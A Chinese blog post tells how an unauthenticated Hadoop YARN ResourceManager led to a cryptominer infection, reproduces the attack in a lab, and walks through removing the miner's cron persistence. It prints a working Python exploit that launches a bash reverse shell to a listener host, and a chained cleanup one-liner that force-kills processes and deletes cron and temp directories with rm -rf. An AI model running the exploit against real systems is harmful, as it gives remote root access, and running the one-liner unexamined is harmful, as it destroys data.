AI 摘要（由 ChatGPT 总结生成）：
文章记录了作者在Linux系统下遭遇挖矿木马攻击的经历。作者在一次参与人工智能大数据比赛前，在公网服务器上部署了大数据平台，由于安全配置不当，导致服务器被入侵。文章详细描述了漏洞复现过程，包括使用漏洞利用工具和Metasploit进行攻击。随后，作者展示了清理木马脚本及恢复安全的过程，包括定位并终止挖矿进程、清理定时任务和相关文件。最后，文章总结了作者在处理这次攻击中的学习经验。

前言

记录这个文章差不多有一年多了，因参与人工智能大数据比赛，赛前我在公网服务器上部署了一套大数据平台，供练习使用，赛后就回滚镜像。为方便使用，使得不受端口访问困扰和鉴权等影响，遂关闭部分服务的鉴权及安全组端口皆放通，SELinux 关闭，平台部署及运行的用户也为 root ，未做最小化权限处理。

所部署的大数据环境所使用的的 Hadoop 版本为 2.6.0，版本比较老，部署过程中为方便使用就未做授权访问且配置了 Hadoop Web 管理⻚面，最终导致了服务器集群被 getshell 致使挖矿。

服务器被 getshell 挖矿后，个人存留了一份木马脚本并后期将其复现了一遍，遂记录此篇文章。

漏洞复现

此处已再次在虚拟机内部署好大数据平台，故省略其部署环节，若想复现，可使用 Docker 启动 vulhub 环境内的 hadoop/unauthorized-yarn 镜像服务复现。

启动 Hadoop 服务：

image-20210919115902172

此时打开 Hadoop YARN ResourceManager WebUI 页面。未做授权直接访问成功：

image-20210919115959994

Exp 测试

下面开始使用相关 Exp 进行模拟攻击：

import requests
target = 'http://192.168.17.181:8088/'
lhost = '192.168.17.110'
url = target + 'ws/v1/cluster/apps/new-application' 
resp = requests.post(url) 
app_id = resp.json()['application-id'] 
url = target + 'ws/v1/cluster/apps' 
data = { 
    'application-id': app_id, 
    'application-name': 'get-shell','am-container-spec': { 
            'commands': { 
                'command': '/bin/bash -i >& /dev/tcp/%s/60901 0>&1' % lhost,
            }, 
        }, 'application-type': 'YARN', 
    } 
requests.post(url, json=data)

此时在另一台机器上使用 nc 监听上述的 60901 端口，然后使用该 Exp 去创建 Application 并调用 Submit Application API 提交。

在 Exp 执行之后，可知成功创建了一个 Application，名称为 get-shell ，如下图：

image-20210919121115472

而该 Application 里面的命令也成功执行并获得反弹回来的 Shell，由于 Hadoop 是以 root 用户启动运行，故反弹回来的 Shell 也是有 root 权限，如图：

image-20210919121610910

metasploit

下面是使用 metasploit 对该漏洞其进行利用，在 search hadoop 后 metasploit 含有该漏洞的未鉴权访问执行漏洞的收录，故可直接使用：

image-20210919144951857

设置好相关参数后 run 即可执行：

image-20210919122049082

成功执行并获得 Session ：

image-20210919122357229

复现木马脚本及清理

将木马脚本执行，执行后使用 htop 命令查看相关进程信息，可见 CPU 负载全满，近乎全被木马脚本内的挖矿相关进程 dbused 占用：

image-20210919123014176

清理过程

1、首先根据 top、ps 等命令锁定脚本 pid：

ps -auxw --sort=%cpu

上述命令是进程按 CPU 占用升序排列，如图：

image-20210919123900779

可知占用 CPU 最多的为 dbused 进程，其 pid 为 2026 。

2、使用 kill -9 命令将相关进程终止掉：

因为 SIGKILL（即序号9）可无条件的杀死相应进程，也为 kill 强杀，正常情况下终止进程该命令勿乱用。
kill -9 2026

此时发现 CPU 等占用也恢复了正常状态：

image-20210919124157869

但是，过了莫约 1 分钟，发现服务又启动了起来！于是猜测可能有守护进程或存在定时任务。

3、于是查看 crontab 定时任务列表，发现存在定时任务，并开始着手清理定时任务：

image-20210919124514907

在默认情况下 Linux 的 crontab 默认文件是在 /var/spool/cron/root 内，查看其 root 文件：

image-20210919124620917

由于没有其他的多余定时任务，故可以直接清空定时任务列表：

crontab -r

image-20210919124738795

提示 Operation not permitted ，即没有权限（当前为 root 用户），于是猜测是使用 chattr 命令给文件上锁了，故使用 lsattr 命令查看一下该文件：

lsattr

image-20210919124940243

果然，上述 i 的意思为禁止文件的删除与修改（含root用户）； a 则是只允许文件写入内容而不允许删除，两者结合限制了对定时任务文件的任何修改操作。

下面解除文件锁并清理定时任务：

chattr -ai root
crontab -r

image-20210919125401250

定时任务列表已清空，再次看看还有哪些定时任务存在。该目录下还有 crontables ，里面也有个定时任务，使用上述方法将其清空：

image-20210919125900959

于是基于上述操作将 cron 相关列表全部清理并再次 kill 掉了进程。

但是！操作完后发现挖矿进程又启动了！

遂再次查找有无可疑守护进程，排查了一遍未找到相应可疑进程。于是再次深入查找一遍定时任务。在 Linux 中，定时任务执行配置在 /etc 目录下也存在，遂去查看一下相关配置有无被修改。

查找到 /etc/cron.d 目录，目录内有如下文件：

image-20210919131957023

发现该目录下木马文件配置了 root、apache、nginx 等不同的用户去执行，由于这些定时任务都是挖矿脚本创建的，故可直接将这块文件全部删除。

操作时发现这些文件有的上锁了：

image-20210919132324176

取消文件锁并清除：

chattr -ai /etc/cron.d/* && ls /etc/cron.d/ | xargs rm -rf

随后又在 /etc/cron.daily/ 等文件夹内发现执行木马脚本代码，利用上述方法将其清理。

最后查看定时任务，皆已被清理：

image-20210919133937695

但过一会儿发现又有启动，此时在追查一下，发现了 /var/tmp 目录及 /tmp 目录下有残存的挖矿木马文件，然后将其删除并在按上述命令执行一遍，观察，最后挖矿木马未运行了。

由于新开的机器测试，机器里无重要文件数据，否则，下方命令不要一键执行！最后整个流程清理挖矿木马的命令汇集如下（命令懒得精简了）：

ps -auxw --sort=%cpu | awk 'END {print $2}' | xargs kill -9; chattr -ai /var/spool/cron/root && crontab -r; chattr -ai /var/spool/cron/crontabs/root && >/var/spool/cron/crontabs/root; chattr -ai /etc/cron.d/* && ls /etc/cron.d/ | xargs rm -rf; chattr -ai /etc/cron.*/* && ls /etc/cron.*/* | xargs rm -rf; rm -rf /tmp/* ; rm -rf /var/tmp/*
上述命令请结合木马脚本执行逻辑来使用，使用前确保相关定时任务目录及 /tmp 、/var/tmp 目录下无重要文件或数据！

至此，挖矿木马清理完成，机器 CPU 负载也处于了正常状态。为确保该木马文件可能的造成其他影响，遂再次检查了一遍启动服务、环境变量、用户与用户组、SELinux、防火墙（可疑链接及 iptables 无关链表）、authorized_keys、动态链接库等配置及/bin、/sbin、/usr/local/bin 下的可疑执行命令，并进行清理残留。

最后，清理过程中最好停止定时任务清理，停止定时任务命令如下：

systemctl stop crond

防止清理过程中存在进程相互执行导致前一步文件清理删除了后面又生成，同时再将木马病毒的远程域名在 /etc/hosts 里解析到 127.0.0.1 ，禁止远程下载挖矿脚本文件。

小结

由于是第一次遇到木马挖矿，那时候对 Linux 的学习也才开始，排查手法较为拙劣，很多强大的命令组合还不太会用；但是，作为那时候写的清理记录，算是自己的一种学习吧。

End

本文标题：【杀毒记】记一次Linux系统下挖矿木马的查杀

本文链接：https://www.isisy.com/1425.html

除非另有说明，本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议。

声明：转载请注明文章来源。

© 允许规范转载
如果觉得我的文章对你有用，请随意赞赏